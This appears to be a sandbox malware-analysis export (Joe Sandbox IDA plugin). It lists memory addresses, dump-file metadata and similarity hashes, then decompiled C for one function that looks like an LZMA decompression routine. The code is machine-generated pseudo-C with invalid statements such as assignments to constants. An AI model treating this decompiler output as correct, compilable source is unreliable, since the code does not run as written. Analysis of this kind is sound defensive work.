0x00407014
0x00407041
0x00407041
0x00407044
0x00407047
0x004070bb
0x004070bb
0x004070bb
0x004070bb
0x00000000
0x004070bb
0x00407049
0x00407049
0x0040704f
0x00407052
0x00407055
0x00407058
0x0040705b
0x0040705e
0x00407061
0x00407064
0x00407067
0x0040706a
0x00407083
0x00407085
0x00407088
0x00407089
0x0040708c
0x0040708e
0x00407091
0x00407093
0x00407095
0x00407098
0x0040709a
0x0040709d
0x004070a1
0x004070a3
0x004070a3
0x004070a4
0x004070a7
0x004070aa
0x0040706c
0x0040706c
0x00407074
0x00407079
0x0040707b
0x0040707e
0x0040707e
0x004070ad
0x004070b4
0x0040703e
0x0040703e
0x0040703e
0x0040703e
0x00000000
0x004070b6
0x004070b6
0x00000000
0x004070b6
0x004070b4
0x00406fc7
0x00406fc7
0x00406fca
0x00406fcc
0x00406fcf
0x00406fd2
0x00406fd5
0x00406fd7
0x00406fda
0x00406fdd
0x00406fdd
0x00406fe0
0x00406fe0
0x00406fe3
0x00406fea
0x00406fbe
0x00406fbe
0x00406fbe
0x00406fbe
0x00000000
0x00406fec
0x00406fec
0x00000000
0x00406fec
0x00406fea
0x00406f70
0x00406f70
0x00406f73
0x00406f75
0x00406f78
0x00000000
0x00000000
0x00406cd7
0x00406cd7
0x00406cdb
0x00407320
0x00407320
0x00000000
0x00407320
0x00406ce1
0x00406ce1
0x00406ce4
0x00406ce7
0x00406cea
0x00406ced
0x00406cf0
0x00406cf3
0x00406cf5
0x00406cf8
0x00406cfb
0x00406cfe
0x00406d00
0x00406d00
0x00406d00
0x00000000
0x00000000
0x00406e62
0x00406e62
0x00406e66
0x0040732c
0x0040732c
0x00000000
0x0040732c
0x00406e6c
0x00406e6c
0x00406e6f
0x00406e72
0x00406e75
0x00406e77
0x00406e77
0x00406e77
0x00406e7a
0x00406e7d
0x00406e80
0x00406e83
0x00406e86
0x00406e89
0x00406e8a
0x00406e8c
0x00406e8c
0x00406e8c
0x00406e8f
0x00406e92
0x00406e95
0x00406e98
0x00406e98
0x00406e98
0x00406e9b
0x00406e9d
0x00406e9d
0x00000000
0x00000000
0x004070df
0x004070df
0x004070df
0x004070e3
0x00000000
0x00000000
0x004070e9
0x004070e9
0x004070ec
0x004070ef
0x004070f2
0x004070f4
0x004070f4
0x004070f4
0x004070f7
0x004070fa
0x004070fd
0x00407100
0x00407103
0x00407106
0x00407107
0x00407109
0x00407109
0x00407109
0x0040710c
0x0040710f
0x00407112
0x00407115
0x00407118
0x0040711c
0x0040711e
0x00407121
0x00000000
0x00407123
0x00407123
0x00406ea0
0x00406ea0
0x00000000
0x00406ea0
0x00407121
0x00407356
0x00407356
0x00000000
0x00000000
0x00406985
0x0040738d
0x0040738d
0x00000000
0x0040738d
0x004071da
0x0040725a
0x00407223

Memory Dump Source

Source File: 00000014.00000002.399238187.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.399216302.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399337096.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399352909.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399369646.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399559254.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399581098.0000000000471000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399594957.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wns22DB.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db40346bc9fd20083a39152eff8b5ac78f5cdc0ebc59631a5c9ad52422038ace
Instruction ID: 2bd06e12bed6e0bcd81d630d0cd78bd49004ac77cb8b5ebb757de7108a839e92
Opcode Fuzzy Hash: db40346bc9fd20083a39152eff8b5ac78f5cdc0ebc59631a5c9ad52422038ace
Instruction Fuzzy Hash: 1DA14471E04228CBDF28CFA8C8446ADBBB1FF44305F14806ED856BB281D7786A86DF45

Uniqueness

Uniqueness Score: -1.00%

Function 00407128 Relevance: 5.2, APIs: 4, Instructions: 208
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E00407128() {
				void _t533;
				signed int _t534;
				signed int _t535;
				signed int* _t605;
				void* _t612;

				L0:
				while(1) {
					L0:
					if( *(_t612 - 0x40) != 0) {
						 *(_t612 - 0x84) = 0x13;
						_t605 =  *((intOrPtr*)(_t612 - 0x58)) + 2;
						goto L132;
					} else {
						__eax =  *(__ebp - 0x4c);
						 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
						__ecx =  *(__ebp - 0x58);
						__eax =  *(__ebp - 0x4c) << 4;
						__eax =  *(__ebp - 0x58) + __eax + 4;
						L130:
						 *(__ebp - 0x58) = __eax;
						 *(__ebp - 0x40) = 3;
						L144:
						 *(__ebp - 0x7c) = 0x14;
						L145:
						__eax =  *(__ebp - 0x40);
						 *(__ebp - 0x50) = 1;
						 *(__ebp - 0x48) =  *(__ebp - 0x40);
						L149:
						if( *(__ebp - 0x48) <= 0) {
							__ecx =  *(__ebp - 0x40);
							__ebx =  *(__ebp - 0x50);
							0 = 1;
							__eax = 1 << __cl;
							__ebx =  *(__ebp - 0x50) - (1 << __cl);
							__eax =  *(__ebp - 0x7c);
							 *(__ebp - 0x44) = __ebx;
							while(1) {
								L140:
								 *(_t612 - 0x88) = _t533;
								while(1) {
									L1:
									_t534 =  *(_t612 - 0x88);
									if(_t534 > 0x1c) {
										break;
									}
									switch( *((intOrPtr*)(_t534 * 4 +  &M00407395))) {
										case 0:
											if( *(_t612 - 0x6c) == 0) {
												goto L170;
											}
											 *(_t612 - 0x6c) =  *(_t612 - 0x6c) - 1;
											 *(_t612 - 0x70) =  &(( *(_t612 - 0x70))[1]);
											_t534 =  *( *(_t612 - 0x70));
											if(_t534 > 0xe1) {
												goto L171;
											}
											_t538 = _t534 & 0x000000ff;
											_push(0x2d);
											asm("cdq");
											_pop(_t569);
											_push(9);
											_pop(_t570);
											_t608 = _t538 / _t569;
											_t540 = _t538 % _t569 & 0x000000ff;
											asm("cdq");
											_t603 = _t540 % _t570 & 0x000000ff;
											 *(_t612 - 0x3c) = _t603;
											 *(_t612 - 0x1c) = (1 << _t608) - 1;
											 *((intOrPtr*)(_t612 - 0x18)) = (1 << _t540 / _t570) - 1;
											_t611 = (0x300 << _t603 + _t608) + 0x736;
											if(0x600 ==  *((intOrPtr*)(_t612 - 0x78))) {
												L10:
												if(_t611 == 0) {
													L12:
													 *(_t612 - 0x48) =  *(_t612 - 0x48) & 0x00000000;
													 *(_t612 - 0x40) =  *(_t612 - 0x40) & 0x00000000;
													goto L15;
												} else {
													goto L11;
												}
												do {
													L11:
													_t611 = _t611 - 1;
													 *((short*)( *(_t612 - 4) + _t611 * 2)) = 0x400;
												} while (_t611 != 0);
												goto L12;
											}
											if( *(_t612 - 4) != 0) {
												GlobalFree( *(_t612 - 4));
											}
											_t534 = GlobalAlloc(0x40, 0x600); // executed
											 *(_t612 - 4) = _t534;
											if(_t534 == 0) {
												goto L171;
											} else {
												 *((intOrPtr*)(_t612 - 0x78)) = 0x600;
												goto L10;
											}
										case 1:
											L13:
											__eflags =  *(_t612 - 0x6c);
											if( *(_t612 - 0x6c) == 0) {
												 *(_t612 - 0x88) = 1;
												goto L170;
											}
											 *(_t612 - 0x6c) =  *(_t612 - 0x6c) - 1;
											 *(_t612 - 0x40) =  *(_t612 - 0x40) | ( *( *(_t612 - 0x70)) & 0x000000ff) <<  *(_t612 - 0x48) << 0x00000003;
											 *(_t612 - 0x70) =  &(( *(_t612 - 0x70))[1]);
											_t45 = _t612 - 0x48;
											 *_t45 =  *(_t612 - 0x48) + 1;
											__eflags =  *_t45;
											L15:
											if( *(_t612 - 0x48) < 4) {
												goto L13;
											}
											_t546 =  *(_t612 - 0x40);
											if(_t546 ==  *(_t612 - 0x74)) {
												L20:
												 *(_t612 - 0x48) = 5;
												 *( *(_t612 - 8) +  *(_t612 - 0x74) - 1) =  *( *(_t612 - 8) +  *(_t612 - 0x74) - 1) & 0x00000000;
												goto L23;
											}
											 *(_t612 - 0x74) = _t546;
											if( *(_t612 - 8) != 0) {
												GlobalFree( *(_t612 - 8));
											}
											_t534 = GlobalAlloc(0x40,  *(_t612 - 0x40)); // executed
											 *(_t612 - 8) = _t534;
											if(_t534 == 0) {
												goto L171;
											} else {
												goto L20;
											}
										case 2:
											L24:
											_t553 =  *(_t612 - 0x60) &  *(_t612 - 0x1c);
											 *(_t612 - 0x84) = 6;
											 *(_t612 - 0x4c) = _t553;
											_t605 =  *(_t612 - 4) + (( *(_t612 - 0x38) << 4) + _t553) * 2;
											goto L132;
										case 3:
											L21:
											__eflags =  *(_t612 - 0x6c);
											if( *(_t612 - 0x6c) == 0) {
												 *(_t612 - 0x88) = 3;
												goto L170;
											}
											 *(_t612 - 0x6c) =  *(_t612 - 0x6c) - 1;
											_t67 = _t612 - 0x70;
											 *_t67 =  &(( *(_t612 - 0x70))[1]);
											__eflags =  *_t67;
											 *(_t612 - 0xc) =  *(_t612 - 0xc) << 0x00000008 |  *( *(_t612 - 0x70)) & 0x000000ff;
											L23:
											 *(_t612 - 0x48) =  *(_t612 - 0x48) - 1;
											if( *(_t612 - 0x48) != 0) {
												goto L21;
											}
											goto L24;
										case 4:
											L133:
											_t531 =  *_t605;
											_t588 = _t531 & 0x0000ffff;
											_t564 = ( *(_t612 - 0x10) >> 0xb) * _t588;
											if( *(_t612 - 0xc) >= _t564) {
												 *(_t612 - 0x10) =  *(_t612 - 0x10) - _t564;
												 *(_t612 - 0xc) =  *(_t612 - 0xc) - _t564;
												 *(_t612 - 0x40) = 1;
												_t532 = _t531 - (_t531 >> 5);
												__eflags = _t532;
												 *_t605 = _t532;
											} else {
												 *(_t612 - 0x10) = _t564;
												 *(_t612 - 0x40) =  *(_t612 - 0x40) & 0x00000000;
												 *_t605 = (0x800 - _t588 >> 5) + _t531;
											}
											if( *(_t612 - 0x10) >= 0x1000000) {
												goto L139;
											} else {
												goto L137;
											}
										case 5:
											L137:
											if( *(_t612 - 0x6c) == 0) {
												 *(_t612 - 0x88) = 5;
												goto L170;
											}
											 *(_t612 - 0x10) =  *(_t612 - 0x10) << 8;
											 *(_t612 - 0x6c) =  *(_t612 - 0x6c) - 1;
											 *(_t612 - 0x70) =  &(( *(_t612 - 0x70))[1]);
											 *(_t612 - 0xc) =  *(_t612 - 0xc) << 0x00000008 |  *( *(_t612 - 0x70)) & 0x000000ff;
											L139:
											_t533 =  *(_t612 - 0x84);
											goto L140;
										case 6:
											__edx = 0;
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x34) = 1;
												 *(__ebp - 0x84) = 7;
												__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
												goto L132;
											}
											__eax =  *(__ebp - 0x5c) & 0x000000ff;
											__esi =  *(__ebp - 0x60);
											__cl = 8;
											__cl = 8 -  *(__ebp - 0x3c);
											__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
											__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
											__ecx =  *(__ebp - 0x3c);
											__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
											__ecx =  *(__ebp - 4);
											(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
											__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
											__eflags =  *(__ebp - 0x38) - 4;
											__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											if( *(__ebp - 0x38) >= 4) {
												__eflags =  *(__ebp - 0x38) - 0xa;
												if( *(__ebp - 0x38) >= 0xa) {
													_t98 = __ebp - 0x38;
													 *_t98 =  *(__ebp - 0x38) - 6;
													__eflags =  *_t98;
												} else {
													 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
												}
											} else {
												 *(__ebp - 0x38) = 0;
											}
											__eflags =  *(__ebp - 0x34) - __edx;
											if( *(__ebp - 0x34) == __edx) {
												__ebx = 0;
												__ebx = 1;
												goto L61;
											} else {
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__ecx =  *(__ebp - 8);
												__ebx = 0;
												__ebx = 1;
												__al =  *((intOrPtr*)(__eax + __ecx));
												 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
												goto L41;
											}
										case 7:
											__eflags =  *(__ebp - 0x40) - 1;
											if( *(__ebp - 0x40) != 1) {
												__eax =  *(__ebp - 0x24);
												 *(__ebp - 0x80) = 0x16;
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x28);
												 *(__ebp - 0x24) =  *(__ebp - 0x28);
												__eax =  *(__ebp - 0x2c);
												 *(__ebp - 0x28) =  *(__ebp - 0x2c);
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
												__al = __al & 0x000000fd;
												__eax = (__eflags >= 0) - 1 + 0xa;
												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
												__eax =  *(__ebp - 4);
												__eax =  *(__ebp - 4) + 0x664;
												__eflags = __eax;
												 *(__ebp - 0x58) = __eax;
												goto L69;
											}
											__eax =  *(__ebp - 4);
											__ecx =  *(__ebp - 0x38);
											 *(__ebp - 0x84) = 8;
											__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
											goto L132;
										case 8:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x84) = 0xa;
												__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
											} else {
												__eax =  *(__ebp - 0x38);
												__ecx =  *(__ebp - 4);
												__eax =  *(__ebp - 0x38) + 0xf;
												 *(__ebp - 0x84) = 9;
												 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
												__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
											}
											goto L132;
										case 9:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												goto L90;
											}
											__eflags =  *(__ebp - 0x60);
											if( *(__ebp - 0x60) == 0) {
												goto L171;
											}
											__eax = 0;
											__eflags =  *(__ebp - 0x38) - 7;
											_t259 =  *(__ebp - 0x38) - 7 >= 0;
											__eflags = _t259;
											0 | _t259 = _t259 + _t259 + 9;
											 *(__ebp - 0x38) = _t259 + _t259 + 9;
											goto L76;
										case 0xa:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x84) = 0xb;
												__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
												goto L132;
											}
											__eax =  *(__ebp - 0x28);
											goto L89;
										case 0xb:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__ecx =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x20);
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
											} else {
												__eax =  *(__ebp - 0x24);
											}
											__ecx =  *(__ebp - 0x28);
											 *(__ebp - 0x24) =  *(__ebp - 0x28);
											L89:
											__ecx =  *(__ebp - 0x2c);
											 *(__ebp - 0x2c) = __eax;
											 *(__ebp - 0x28) =  *(__ebp - 0x2c);
											L90:
											__eax =  *(__ebp - 4);
											 *(__ebp - 0x80) = 0x15;
											__eax =  *(__ebp - 4) + 0xa68;
											 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
											goto L69;
										case 0xc:
											L100:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xc;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t335 = __ebp - 0x70;
											 *_t335 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t335;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											__eax =  *(__ebp - 0x2c);
											goto L102;
										case 0xd:
											L37:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xd;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t122 = __ebp - 0x70;
											 *_t122 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t122;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L39:
											__eax =  *(__ebp - 0x40);
											__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
											if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
												goto L48;
											}
											__eflags = __ebx - 0x100;
											if(__ebx >= 0x100) {
												goto L54;
											}
											L41:
											__eax =  *(__ebp - 0x5b) & 0x000000ff;
											 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
											__ecx =  *(__ebp - 0x58);
											__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
											 *(__ebp - 0x48) = __eax;
											__eax = __eax + 1;
											__eax = __eax << 8;
											__eax = __eax + __ebx;
											__esi =  *(__ebp - 0x58) + __eax * 2;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
											__ax =  *__esi;
											 *(__ebp - 0x54) = __esi;
											__edx = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												 *(__ebp - 0x40) = 1;
												__cx = __ax >> 5;
												__eflags = __eax;
												__ebx = __ebx + __ebx + 1;
												 *__esi = __ax;
											} else {
												 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edx;
												0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
												__ebx = __ebx + __ebx;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											 *(__ebp - 0x44) = __ebx;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L39;
											} else {
												goto L37;
											}
										case 0xe:
											L46:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xe;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t156 = __ebp - 0x70;
											 *_t156 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t156;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											while(1) {
												L48:
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													break;
												}
												__eax =  *(__ebp - 0x58);
												__edx = __ebx + __ebx;
												__ecx =  *(__ebp - 0x10);
												__esi = __edx + __eax;
												__ecx =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													_t170 = __edx + 1; // 0x1
													__ebx = _t170;
													__cx = __ax >> 5;
													__eflags = __eax;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													continue;
												} else {
													goto L46;
												}
											}
											L54:
											_t173 = __ebp - 0x34;
											 *_t173 =  *(__ebp - 0x34) & 0x00000000;
											__eflags =  *_t173;
											goto L55;
										case 0xf:
											L58:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xf;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t203 = __ebp - 0x70;
											 *_t203 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t203;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L60:
											__eflags = __ebx - 0x100;
											if(__ebx >= 0x100) {
												L55:
												__al =  *(__ebp - 0x44);
												 *(__ebp - 0x5c) =  *(__ebp - 0x44);
												goto L56;
											}
											L61:
											__eax =  *(__ebp - 0x58);
											__edx = __ebx + __ebx;
											__ecx =  *(__ebp - 0x10);
											__esi = __edx + __eax;
											__ecx =  *(__ebp - 0x10) >> 0xb;
											__ax =  *__esi;
											 *(__ebp - 0x54) = __esi;
											__edi = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												_t217 = __edx + 1; // 0x1
												__ebx = _t217;
												__cx = __ax >> 5;
												__eflags = __eax;
												 *__esi = __ax;
											} else {
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edi;
												0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
												__ebx = __ebx + __ebx;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											 *(__ebp - 0x44) = __ebx;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L60;
											} else {
												goto L58;
											}
										case 0x10:
											L110:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0x10;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t366 = __ebp - 0x70;
											 *_t366 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t366;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											goto L112;
										case 0x11:
											L69:
											__esi =  *(__ebp - 0x58);
											 *(__ebp - 0x84) = 0x12;
											L132:
											 *(_t612 - 0x54) = _t605;
											goto L133;
										case 0x12:
											goto L0;
										case 0x13:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												_t469 = __ebp - 0x58;
												 *_t469 =  *(__ebp - 0x58) + 0x204;
												__eflags =  *_t469;
												 *(__ebp - 0x30) = 0x10;
												 *(__ebp - 0x40) = 8;
												goto L144;
											}
											__eax =  *(__ebp - 0x4c);
											__ecx =  *(__ebp - 0x58);
											__eax =  *(__ebp - 0x4c) << 4;
											 *(__ebp - 0x30) = 8;
											__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
											goto L130;
										case 0x14:
											 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
											__eax =  *(__ebp - 0x80);
											L140:
											 *(_t612 - 0x88) = _t533;
											goto L1;
										case 0x15:
											__eax = 0;
											__eflags =  *(__ebp - 0x38) - 7;
											0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
											__al = __al & 0x000000fd;
											__eax = (__eflags >= 0) - 1 + 0xb;
											 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
											goto L121;
										case 0x16:
											__eax =  *(__ebp - 0x30);
											__eflags = __eax - 4;
											if(__eax >= 4) {
												_push(3);
												_pop(__eax);
											}
											__ecx =  *(__ebp - 4);
											 *(__ebp - 0x40) = 6;
											__eax = __eax << 7;
											 *(__ebp - 0x7c) = 0x19;
											 *(__ebp - 0x58) = __eax;
											goto L145;
										case 0x17:
											goto L145;
										case 0x18:
											L146:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0x18;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t484 = __ebp - 0x70;
											 *_t484 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t484;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L148:
											_t487 = __ebp - 0x48;
											 *_t487 =  *(__ebp - 0x48) - 1;
											__eflags =  *_t487;
											goto L149;
										case 0x19:
											__eflags = __ebx - 4;
											if(__ebx < 4) {
												 *(__ebp - 0x2c) = __ebx;
												L120:
												_t394 = __ebp - 0x2c;
												 *_t394 =  *(__ebp - 0x2c) + 1;
												__eflags =  *_t394;
												L121:
												__eax =  *(__ebp - 0x2c);
												__eflags = __eax;
												if(__eax == 0) {
													 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
													goto L170;
												}
												__eflags = __eax -  *(__ebp - 0x60);
												if(__eax >  *(__ebp - 0x60)) {
													goto L171;
												}
												 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
												__eax =  *(__ebp - 0x30);
												_t401 = __ebp - 0x60;
												 *_t401 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
												__eflags =  *_t401;
												goto L124;
											}
											__ecx = __ebx;
											__eax = __ebx;
											__ecx = __ebx >> 1;
											__eax = __ebx & 0x00000001;
